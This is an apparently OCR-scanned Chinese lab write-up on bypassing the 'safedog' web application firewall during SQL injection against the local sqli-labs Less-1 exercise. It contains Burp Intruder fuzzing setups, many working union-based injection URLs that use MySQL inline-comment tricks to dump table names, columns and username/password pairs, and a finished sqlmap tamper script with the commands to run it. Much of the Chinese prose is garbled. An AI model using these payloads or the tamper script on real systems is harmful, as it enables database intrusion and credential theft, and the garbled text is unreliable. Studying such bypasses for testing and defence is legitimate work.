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C:\Windows\system32>d:
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin

D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
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URL
http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 order by 2

(https://img-blog.csdnimg.cn/397730250f6d49d1b7642bd1577f53e4.png)
S,
hiE—

BAXENEESE T 1=1, RIAEBRATUN

1
.

BRIERTRASZESHY, CEMNERRIIEI-E!

HRERE: BRZINSESRBRAKREERK
SRMATARIR :

20 EIRTIEERHEERAE) ALL Rights Reserved | [EICPE 14012 3@BalbiTe, SRR SEHRME;

) IERuEIREE  EREXMEESTR S
HE DBt NRg (datmss Qi Onr B o 7 mrems 838 umes @ HackBar @ HackBar @ Max HackBar

wcoding v SQL~ XSS~ Other ~

http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" and 1=1 -+

(https://img-blog.csdnimg.cn/d3a78dec39444aae98b02c80bd331566.png)
B true=true HITEIR

SGHINIBANTHR/MNARIGAES, ORMIO0EIERIRE T8

HEERE: BRINATEERRANESRK
SR{ATfER
1) MERTAE;

opyright©2013-2020 B JR={=ERHEHR/AE) ALL Rights Reserved | EICPE 140121 39T, EEERZSIENEMTE;

Q) IBEMNGEREE  EREXRuEESTE S
N D#Esx Optle OEde NRE (damEs Que Owne B & « TSNS 88 uAEF @ HackBar @ HackBar ¢y Max Hackl

Encryption v Encoding v SQL v XSS v Other v

@ Load URL http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" and true=true |-+

(https://img-blog.csdnimg.cn/4f2dfc719d764567abce915aff119e03.png)
PBATAT, ALY and MIEERETSRNMRMSIRE



Welcome
SELECT * FROM users WHERE id="1" andtrue=true -- ' LIMIT 0,1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘andtrue=true -- ' LIMIT 0,1 at ling

O =aEs mhle OmEde NmE () aees Oue Onr B & TSR 88 PEs @ HackBar @ HackBar @@ Max HackBar [: S

wcryption v Encoding v SQL v XSS~ Other v Contribute now! Hac

& Load URL http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" andtrue=true -+
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” | Payload Positions Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

GET /sqli-labs-master/Less-1/?id=1%27%20and/*§§*/1--+ HTTP/1.1 i Add §
Host: 127.0.0.1:81 i
User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 L Clear§
|Accept: text/html, ication/xhtml+xml, ication/xml;,q=0.9,image/avif,image/webp,*/*,q=0.8 Auto §
\Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 —————
|Accept-Encoding: gzip, deflate ﬂ

Connection: close

ICookie: PHPSESSID=uc5jv65ueljdgg2i2ig9jjhmk6
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

(https://img—-blog.csdnimg.cn/31ff8ba550954993a6e6356eb7426883.png)
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’Target\ Positions ‘ Payloads \Options }

w Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attac
can be customized in different ways.

Payload set: [1 r Payload count: 120

Payload type: [Brute forcer [

Request count: 120

2 | Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that contain all permutations of a :

Character set: *I/
Min length: 1
Max length: 4

(https://img-blog.csdnimg.cn/351a1ed3617240808ca0068bcf77a431.png)
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“ilter: Showing all items

Request Payload Status Error Timeout Length + Comment
[ mr 20U =) =) 993
1 [*1* 200 o o 993
4 m* 200 o o 993
7 n* 200 o o 993
6 " 200 o o 993
39 lal! 200 o o 993
34 /m 200 o =} 993
)0 mn 200 o o 993
)3 in 200 o o 993
05 /< 200 o o 993
08 n/ 200 o o 993
11 n 200 o o 993
17 i 200 o o 993
120 1 200 =] = 993

Request Response|
Raw |Headers |Hex |HTML | Render

Welcome
/1= LIMITOL

(https://img-blog.csdnimg.cn/e94fe3fc75b74c96b349330d004080c¢6.png)
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Welcome
SELECT * FROM users WHERE id="1" and/*////*/1 -- ' LIMIT 0,1

Your Login name:Dumb
Your Password:Dumb

: Dase OmEss NEg (QuatmEs Qe Onr B & F oRERE 538 uAEs @ HackBar @ HackBar @ Max HackBar o1 [

v Encodingv SQL~ XSS~ Other~ Contribute now! Hac

http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" and/*///[*/1 --+
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mysql> select @@version;

ommmmmmm e +
| @@version |
mmmmmmm e +
| 5.5.53 |
e +

1 row in set (0.00 sec)

mysql> select /*/999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versio
n for the right syntax to use near '' at line 1

mysql> select /*!/000001*/,
+o-—t

I1

-t

|1

+o-—t

1 row in set (0.00 sec)

mysql> select /*/1*/,
+--—+

|1

+---t

|1

+---+

1 row in set (0.00 sec)

mysql> select /*/505531*/,
+--—+
1

+---+

1
+--—+

1 row in set (0.00 sec)

mysql> select /*/505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server versio

n for the right syntax to use near '' at line 1

XMERE mysgl FIUMAECER, IRSEERRASH, SEENTEERNS. & SEHEREERSSH, IRE5RES
(R BIFHEY 5.5.53) AT ST FRIER(FIG0 LR FIFHhag 99999 F1 00000), MEBETRTHNATHIT, BUMSYHMIERE
L3,

BAXEMNE, BMNMEMEE 1=1, MAMFAERETEY, BIIMEWNT /*1000001+/-/* 000001*/ EEEIXHITEHT

Welcome
SELECT * FROM users WHERE id="1" and/*!000001*/=/*1000001*/ -- ' LIMIT 0,1

Your Login name:Dumb
Your Password:Dumb
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ption v Encoding v SQL~ XSS~ Other ~

iad URL http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" and/*1000001*/=/*!000001*/ --+
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id=1" order/*////*/by 3 --+

Welcome
SELECT * FROM users WHERE id="1" order/*////*/by 3 -- ' LIMIT 0,1

Your Login name:Dumb
Your Password:Dumb

& d TR EHe  BERB K& B8 W% WA Llighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFl ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" order/*////*/by 3 —+
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Welcome
SELECT * FROM users WHERE id="1" order/*////*/by 4 -- ' LIMIT 0,1
Unknown column '4" in 'order clause'

% 4l 7= &8s BRE W& 8 A% WA Llighthouse  HackBar CH

LOAD SPLIT EXECUTE TEST ~ sQLl ~ Xss -~ F < SSTI ~ SHELL ~ ENCODING ~ HASHING ~ 1

URL

http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1" order/*////*/by 4 -+
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Attack type: Sniper

GET /sqli-labs-master/Less-1/?id=-1%27%20union/*!§ §ksd*/select%201,2,3--+ HTTP/1.1
Host: 127.0.0.1:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=uc5jv65uelj4gg2i2ig9jjhmk6

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

(https://img-blog.csdnimg.cn/54aadcfeadc947a688500cbc04e24ed6.png)
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I

i {Results {Target[ I;;;;itions [Payloads [Options l

@ Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Vario
payload set, and each payload type can be customized in different ways.

b i o B ]

Payload set: {1 *| Payload count: 100,000

Payload type: Brute forcer Request count: 100,000

o

@ Payload Options [Brute forcer]

-

This payload type generates payloads of specified lengths that contain all permutations of a specified character set.

Character set: 0123456789
Min length: 5
Max length: 5

S =5 n 3 X

(https://img-blog.csdnimg.cn/4f8834700a754f96a8a050d4a632a9dc.png)
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Attack Save Columns

[ Results [Target N Positions [ Payloads ‘ Options ‘

Filter: Showing all items h ?
Request Payload Status |Error Timeout  Length + Comment
0 200 a o 1072 B
1 00000 200 o o 5340
2 10000 200 o o 5340
3 20000 200 =) o 5340
4 30000 200 o o 5340
5 40000 200 o =] 5340
6 50000 200 o =] 5340
7 60000 200 o o 5340
8 70000 200 o o 5340
9 80000 200 o o 5340
10 90000 200 a a 5340
12 11000 200 =] o 5340
11 01000 200 o o 5340
71000 200 i i 5340 v

1R
Request | Response

JRaw ] Params [ Headers [ Hex ‘

SET /sqli-labs-master/Less-1/?id=-1%27%20union/*!90000ksd*/select%201,2,3--+ HTTP/1.1 N
Host: 127.0.0.1:81

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=uc5jv65ueljdgg2i2ig9jjhmké

Jpgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

[

< || * || > | Type a search term 0 matches
=iz e

?




Finished =

(https://img-blog.csdnimg.cn/2f3c9149110c4e179fabb3f422390c69.png)
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Attack type: {Sniper

GET /sqli-labs-master/Less-1/?id=-1%27%20union/*§ §*/select%201,2,3--+ HTTP/1.1

Host: 127.0.0.1:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=uc5jv65uelj4gg2i2ig9jjhmk6

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

(https://img-blog.csdnimg.cn/8fa340479b4f41f9b5a86¢7fe2bb3ff0.png)
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g Payload Sets

You can define one or more payload sets. The number of payload sets depends on the att
payload set, and each payload type can be customized in different ways.

Payload set: [1 *  Payload count: 3,905

Payload type: Brute forcer Request count: 3,905

» | Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that contain all permutations of

Character set: /*1-/
Min length: 1
Max length: 5

(https://img-blog.csdnimg.cn/7f9349463a3a4db883009206daf6ee29.png)
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Attack Save Columns

JResuIts[Target { Positions [ Payloads [ Options 1

Filter: Showing all items

Request Payload Status Error Timeout Length « Comment
1235 -1 200 [ [ 1002
1241 N1 200 [} o 1002
1245 N/ 200 =} =} 1002
1251 -1 200 =} =} 1002
1255 -1 200 [ [ 1002
1691 Jrer* 200 a a 1002
1695 S 200 =} =] 1002
1696 [ 200 =} =} 1002
1700 [ 200 [ [ 1002
1860 /I--* 200 =} =} 1002
1856 --* 200 =} o 1002
1870 N--* 200 =} =} 1002
1866 NN--* 200 [ [ 1002
1876 11--* 200 [ [ 1002

| Request ] Response
Raw | Headers | Hex | HTML | Render

23 LIMIT 0.1

(https://img-blog.csdnimg.cn/ac17938a806049f3af55d88073c6e8c2.png)
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id=-1" union/*/!*!**/select 1,2,3--+

Welcome
SELECT * FROM users WHERE id="-1" union/*/!*1**/select 1,2,3-- ' LIMIT 0,1

Your Login name:2
Your Password:3

& 4] | 7&E #%e BB ®E e A%F WA Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ LEIN SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL

http://127.0.0.1:81/sqli-labs-master/Less-1/?id=-1" union/*/!*1**/select 1,2,3-+

(https://img-blog.csdnimg.cn/3b8adaafe2d14e4bbf5c7eb6f2ece256.png)
AIMERIMEERTT, RASKIT, XEBHLLL payload, JMEATRIXETMIE

id=-1" union/*//--**/select 1,2,3--+
id=-1" union/*/!--**/select 1,2,3--+
id=-1" union/*/-*!!*/select 1,2,3--+
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Attack type: Sniper

GET /sqli-labs-master/Less-1/?id=-1%27%20union/*/!*1**/select%201,2 database/*§§*/()--+ HTTP/1.1 " | Add §

(
Host: 127.0.0.1:81
User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 aEeancy
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Auto§ |
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate AREfiesh

Connection: close
Cookie: PHPSESSID=uc5jv65ueljdgg2i2ig9jjhmk6

L P S L PR 1

(https://img—-blog.csdnimg.cn/3a373f88170c436db17df47b4a650a40.png)
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E Payload Sets

You can define one or more payload sets. The number of payload sets de|
payload set, and each payload type can be customized in different ways.

Payload count: 1,364

Payload set: ‘ 1 v

Payload type: Brute forcer Request count: 1,364

Z/ Payload Options [Brute forcer]

This payload type generates payloads of specified lengths that contain all

Character set: -/1*
Min length: 1
Max length: 5

(https://img-blog.csdnimg.cn/500c6ea1a9d54236b502a7239cfe6bc1.png)
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W Intruder attack 4

Attack Save Columns

[Resultsharget [ Positions [ Payloads [Options }

Filter: Showing all items

Request Payload Status Error Timeout  |Length + Comment
274 -1 200 U U 1026
218 /I-1 200 o o 1026
222 /11 200 o o 1026
230 /- 200 8] 8] 1026
234 /n 200 o o 1026
238 m 200 o o 1026
246 /-n 200 o o 1026
250 m 200 U U 1026
254 m 200 o o 1026
346 /- 200 o o 1027
350 NN--- 200 o o 1027
406 [-I- 200 8] 8] 1027
410 JI-I- 200 o o 1027
414 NN-I- 200 O O 1027

"Request Response
Raw |Headers |Hex |HTML | Render

e/*1/1%/0--* LIMIT 0.1

(https://img-blog.csdnimg.cn/801d259ef04a4dfd8afb4787724b3153.png)
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id=-1" union/*/!*!**/select 1,2,database/*///-*/()--+

Welcome
SELECT * FROM users WHERE id="-1' union/*/!*1**/select 1,2,database/*///-*/()-- ' LIMIT 0,1

Your Login name:2
Your Password:security

£ EHle BB W% 8¢ WE WA Lighthouse  HackBar

SPLIT EXECUTE TEST ~ sQLl -~ XSS -~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

.0.1:81/sqli-labs-master/Less-1/?id=-1" union/*/!*1**/select 1,2,database/*///-*/()--+

(https://img-blog.csdnimg.cn/aea69fdala734b12bc2e23d309cd89d7.png)
Ingead

BiEZ (o REBCERE)

HANRE payload 9 /*1O*/ ZM, FIA bp EESAEMLAMET, MR NAIMETRYE, BMRENT



Attack type: Sniper

GET /sqli-labs-master/Less-1/?id=-1%27%20union/*/!*|**/select%201,2,database/*!8§(*/--+ HTTP/1.1 2 | Add §
Host: 127.0.0.1:81 )
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 | Auto §
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 T
Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=uc5jv65ueljdgg2i2ig9jjhmké

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

| Clear §

| Refresh

(https://img-blog.csdnimg.cn/f50456t5117a43bdaa4d50e90993d4al.png)
MEERNERE, REUT

?]

" You can define one or more payload sets. The number of payload sets depenc
payload set, and each payload type can be customized in different ways.
Payload set: |1 e Payload count: 7,776
Payload type: Brute forcer Request count: 7,776

?]

" This payload type generates payloads of specified lengths that contain all perr

Chararter aat- 0123447
Min length: 5
Max length: 5

(https://img-blog.csdnimg.cn/74b4fa8cd0b94dd0a5b675a1ab334def.png)

FRIER

Filter: Showing all items

Request Payload Status Error Timeout Length « Comment
5139 24453 200 o o 1028
5147 45453 200 =] o 1028
5146 35453 200 o o 1028
5145 25453 200 a o 1028
5144 15453 200 o 1028
5151 20553 200 o = 1028
5149 00553 200 o o 1028
5150 10553 200 o o 1028
5152 30553 200 o o 1028
5153 40553 200 o o 1028
5154 50553 200 a o 1028
5155 01553 200 o 1028
5156 11553 200 o o 1028
5157 21553 200 i 1028

[Request Response
Raw | Headers | Hex | HTML Render%




(https://img-blog.csdnimg.cn/1b146fa3963149df993e4af1b8c48f40.png)
FEANERE — D #TR, #91E payload 41T

id=-1" union/*/!*!**/select 1,2,database/*!20553()*/--+

Welcome
SELECT * FROM users WHERE id="-1' union/*/!*!**/select 1,2,database/*!120553()*/-- ' LIMIT 0,1

Your Login name:2
Your Password:security

W4 MEE  MW7%F WA Lighthouse  HackBar B

JTE TEST ~ sQLl ~ XSS -~ LFl ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

1aster/Less-1/?id=-1" union/*/!*1**/select 1,2,database/*!20553()*/-+

(https://img-blog.csdnimg.cn/f16b7e41d8cd4f91ba82e9c8229dc360.png)
RIhEed

EBIEE—RERXMMEF
group_concat(table_name) from information_schema.tables where table_schema=database()

BAXBRIERATUA T ERM SR information_schema TR T, EMREE—EREMSEITIR

@
EUERERSESY, SRANEERREER!

Copyright©2013-2020 &[]

R 4] 7= &8s BRE WS e AWFE A Lghthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LEI" =~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/?id=-1" union/*/!*!**/select 1,2, information_schema

(https://img-blog.csdnimg.cn/c45974a552e247b886beddc157e78ae2.png)
EEIE, FHATBLRIFA from BRI IR



[
G

|
EBHERTEFAASE, CHMSEERIELE!

ARRE: SREXNASEARRNKEEK
'0 Bl IR=IEERHRAERAR ALL Rights Reserved | |VEICP%H%%4;1%39%-1
9N

Hle BERE W& MEE  WE WA Llighthouse  HackBar

LAt

T EXECUTE TEST ~ sqQLl ~ XSS ~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

1/sqli-labs-master/Less-1/?id=-1" union/*/!***/select 1,2,group_concat(table_name) from 1-+

(https://img-blog.csdnimg.cn/e13145bc008f46aa886c505c46ded0a9.png)
XA DT ORI fuzz AIELERFG, TEEHBHIT—EAN RS HIMNABITIRNER, B EIEM BRI T
ABCERZXMAE, AR MARMAERFTERIEE, HMAEH—T

from/*!information_schema. tables*/

ZRWT

L 1
| 1M
| N

BREREREASESY, CEMIEERIZEI=H!

THRE: RN A BRI TR
opyright©2013-2020 B JIR=EERHEERAE ALL Rights Reserved | \E|CP%}§%;4£39%4
A

Ik O] 7x #%a BB R[S M WE WA Llghthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~

XSS ~ EEIR> SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/

?id=-1" union/*/1*1**/select%201,2,group_concat(table_name)from/*linformation_schema.tables*/where table_schema="security'—+

(https://img-blog.csdnimg.cn/2d17f1bd8c9c4ede966698a50c0067e8.png)

EAXTEAITTH, ERHENANELE —MINEMEREEIRNA R EMEREINERFENRT, BHE /*1%23%00*/ X
MRz, BASeH T AR



mysql> select /*!#
-> 1%/
+---+
|11
+---+
|11
+---+
1 row in set (0.00 sec)
mysql> select /*!/#/*
-> 1*/
>
+---+
11
+--—+
|11
+---+
1 row in set (0.00 sec)

IR AN AT, SIZARBERE, BEEEA /*, RS /~/ , hEAIMSIIMRITN, WREBENGIAITE—
&

?id=-1" union/*/!I*!**/select%201,2,group_concat(table_name)from/ *!%23%0ainformation_schema. tables*/ where table_schema=
'security'--+

L 1
| 4

[N
BREREEFAESY, CRNEEERIBIEE!

AIRERE: BRI AEARRAREEK
Copyright©2013-2020 [E| JiR=EERHEIRAR ALL Rights Reserved | @ICP%;I%%},%?Q%W
IR

& al TR e FRB RS MeE  WE WA Llighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSs -~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/

2id=-1" union/*/!*!**/select%201,2,group_concat(table_name)from/*1%23%0ainformation_schema.tables*/ where table_schema='security'~+

(https://img-blog.csdnimg.cn/31db46722e0b4b3fb6353b7bad8b0723.png)
IR, BREA IR RRIRIIE i RANE M5 B H TR

?id=-1" union/*/!I*!**/select%201,2,group_concat(table_name)from/ *!%23/*%0ainformation_schema.tables*/ where table_schem
a="security'--+
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BRIBKRTFEASEEH, CHMBERRIZEIEE!

Gl

Copyright©2013-2020 B IfR={EE8RH%XBIRAF] ALL Rights Reserved | l—d\fpfﬂ
4

RE/R RHRBE AR EER
G

014
e

B

398-1
IR
R O] 7% #He FMEE RS HEE  KW%E KA Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~
URL

http://127.0.0.1:81/sqli-labs-master/Less-1/

?id=-1" union/*/!*1**/select%201,2,group_concat(table_name)from/*1%23/*%0ainformation_schema.tables*/ where table_schema='security'-+

(https://img-blog.csdnimg.cn/cc6e9b8814e84e23959a0094449a0940.png)
LR ERETEERTIET %23, 1§ %23 #pL --+
¥1& payload #1F

?id=-1" union/*/I*!**/select%201,2,group_concat(table_name)from/ *!--+/*%¥0ainformation_schema.tables*/ where table_schem
a="security'--+

Welcome
SELECT * FROM users WHERE id="-1" union/*/!*I**/select 1,2,group_concat(table_name)from/*!-- /* information_schema.tables*/ where table_schema="security'-- ' LIMIT 0,1

Your Login name:2
Your Password:emails,referers,uagents,users

&k 4l | == #=He

M4 B2  KW%&E WA Lighthouse  HackBar B2 & : >

LOAD SPLIT EXECUTE TEST ~ saLl - XSS ~ LFI ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ THEME ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/

?id=-1" union/*/*1**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'-+

(https://img-blog.csdnimg.cn/40501719a3774cfb8067357dd778be4dc.png)
BEITEEE

BTRBIN, BLAENFIBEAZHRENES, B—TIF0RNE, WiE payload 21T

?id=-1" union/*/!I*!**/select%201,2,group_concat(column_name)from/ *!--+/*%0ainformation_schema.columns*/ where table_nam

e="users'--+
B3R, {E0ETANA]

?id=-1" union/*/!I*!**/select%201,2,group_concat(id,password)from/ *!--+/*%0ausers*/- -+

[HIPN LY VAL Lo LN



IINCL 7049 |

EFIHEMTENXEN, BREERIXT like["%23"] , X THIEEANIE %23 BEIRFHNEN, BLEXEHNNER, EX
TEDHRBTAERE, HITUK—THAET
BRASERE—FRER

select * from users where id=1 ;

select * from users where id=1 ;

8 HER1 #Zir RS

id username password
» 1 Dumb Dumb

(https://img-blog.csdnimg.cn/54c9f5878a0247418cdbebb6bad5d2e84.png)
M RIIARIIE — TR, FAIINLENIN like["%23"] , #41E payload AT

select * from users where id=1 like "[%237";

select * from users where id=1 like "[%23]";

EE SR Zr RS

id username password

(https://img-blog.csdnimg.cn/a0d56080b11c4d3b9abdccal56152329.png)
WRREREZNT, BN RUEAXAFI9IE payload

select * from users where id=1 like "[%23]" union select * from users;
HMNENERIE users where id=1 like "[%23]" X1 EZ, MERXFBUMEIT

T EFR



select * from users where id=1 like "[%23]" union select * from users;

ZFR1

username
1 Dumb
2 Angelina

=
=Ses

id

3 Dummy
4 secure

5 stupid

6 superman
7 batman
8 admin

9 admin
10 admin2
11 admin3
12 dhakkan
14 admin4

(https://img-blog.csdnimg.cn/4c1bd8a495434398bdb01b07c64ee5¢3.png)

Bt RS

password
Dumb
1-kill-you
p@ssword
crappy
stupidity
genious
moblle
admin
admin
admin2
admin3
dumbo
admin4

(55)

id

select * from users;

FER 1

username
1 Dumb

2 Angelina
3 Dummy
4 secure

5 stupid

6 superman
7 batman
8 admin

9 adminT
10 admin2
11 admin3
12 dhakkan

T RS
password
Dumb
I-kill-you
p@ssword
crappy
stupidity
genious
moblle
admin
admin’
admin2
admin3
dumbo



14 admin4 admin4

(https://img-blog.csdnimg.cn/e896d9350¢1242098ea3c021218ad0a8.png)
AL BRATI AT AEEAVEELS TN, BRE6esT

id=-1" like "[%23]" /*!1044Qunion select*/ 1,2,3 --+

[
G
BHERTERESESY, CHMKSERREREE!

ATRERE: BRRHNANBESERANKEER

Copyright©2013-2020 B IR EERHZARLAE ALL Rights Reserved H\CP%}&QHHB"‘?
N CIf: 207

& al TE EHEs BB W% M W& WA Lighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS -~ =l < SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/?id=-1" like "[%23]" /*!10440union select*/ 1,2,3 —+

(https://img-blog.csdnimg.cn/de10879df61548418f74d7d56b66d3ae.png)
RIEESHT, LREAITE union STEBIRITRENR

id=-1" Tilee "T%21" /¥1104400 07 an%Dncelact*/ 1 2 2 4

Lu— e mene e 4 s AU U LUIUvOMO S Eee e sy o

Welcome
SELECT * FROM users WHERE id="-1" like "[#]" /*110440union select*/ 1,2,3 -- ' LIMIT 0,1

Your Login name:2
Your Password:3

x ol e #He  FRB W& MEE  WE WA lighthouse  HackBar

LOAD SPLIT EXECUTE TEST ~ sQLl - XSs -~ L= < SSTI ~ SHELL ~ ENCODING ~ HASHING ~

URL
http://127.0.0.1:81/sqli-labs-master/Less-1/?id=-1'like "[%23]" /*!10440union%0aselect*/ 1,2,3 —+

(https://img-blog.csdnimg.cn/16f65eeef40b4202a5de71fa670e619e.png)
HEIRARTDUEANT, BHUFARBMEM T, EtEANARETEE, XEBLHE payload

V%3

id=-1" like "[%23]" /*!10440union¥@aselect*/ 1,2,database/*!--+/*%¥0a(D*/ --+

V453

id=-1" like "[%23]" /*!10440union¥Paselect*/ 1,2,group_concat(table_name)from/*!--+/*¥dainformation_schema.tables */whe
re table_schema="security'--+

1

id=-1" like "[%23]" /*!10440union¥Paselect*/ 1,2,group_concat(column_name)from/ *!--+/*¥0ainformation_schema.columns */w
here table_name="users'--+

SIRFER

id=-1" like "[%23]" /*!10440union¥Paselect*/ 1,2,group_concat(id,username,password)from/*!--+/*¥0ausers*/--+



https://xz.aliyun.com/t/10479#toc-0 (https://xz.aliyun.com/t/10479#toc-0)
https://zhuanlan.zhihu.com/p/472880971 (https://zhuanlan.zhihu.com/p/472880971)
https://cloud.tencent.com/developer/article/1856738 (https://cloud.tencent.com/developer/article/1856738)
https://blog.csdn.net/weixin_39190897/article/details/115841059
(https://blog.csdn.net/weixin_39190897/article/details/115841059)
https://blog.csdn.net/Drifter_Galaxy/article/details/108435339
(https://blog.csdn.net/Drifter_Galaxy/article/details/108435339)
https://www.freebuf.com/articles/web/321240.html (https://www.freebuf.com/articles/web/321240.html)
https://www.cnblogs.com/ClOud/p/14493204.html (https://www.cnblogs.com/ClOud/p/14493204.html)

RZSan T -
#!/usr/bin/env python

Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top

import re #5 A\ ref&iR
import os #5 N\ ost&IR

from lib.core.data import kb #5 A\ sqimaplib\core\data= kb & £, MK SQLIEN RO FE R, (F AR
e E XM B2 EBH IR T confillkb

from lib.core.enums import PRIORITY #5 AsqlmapHlib\core\enums+AIPRIORITY K%],
LOWEST =-100,LOWER =-50,LOW =-10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST =
100

from lib.core.common import singleTimeWarnMessage#%i 1 Zllsqlmapix &l & I R £1

from lib.core.enums import DBMS#— MR EE AR 2

__priority__ = PRIORITY.LOW#E XA % I LOW

def dependencies():
singleTimeWarnMessage("Bypass safedog by puregh'%s' only %s" %
(0s.path.basename(__file_).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() FAF £zl
SRTEIHESER
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*110000AND*/")
payload=payload.replace('OR','/*!1100000R*/")
payload=payload.replace('ORDER BY','ORDER/*////*IBY")
payload=payload.replace('()','/*120553()*/")
payload=payload.replace('UNION SELECT",'UNION/*/I*I**/SELECT")
payload=payload.replace('information_schema.tables','/*!1%23%0ainformation_schema.tables*/"
return payload

mBIENT:
B ENKEY
python sglmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog

R ER I I -
python sglmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5



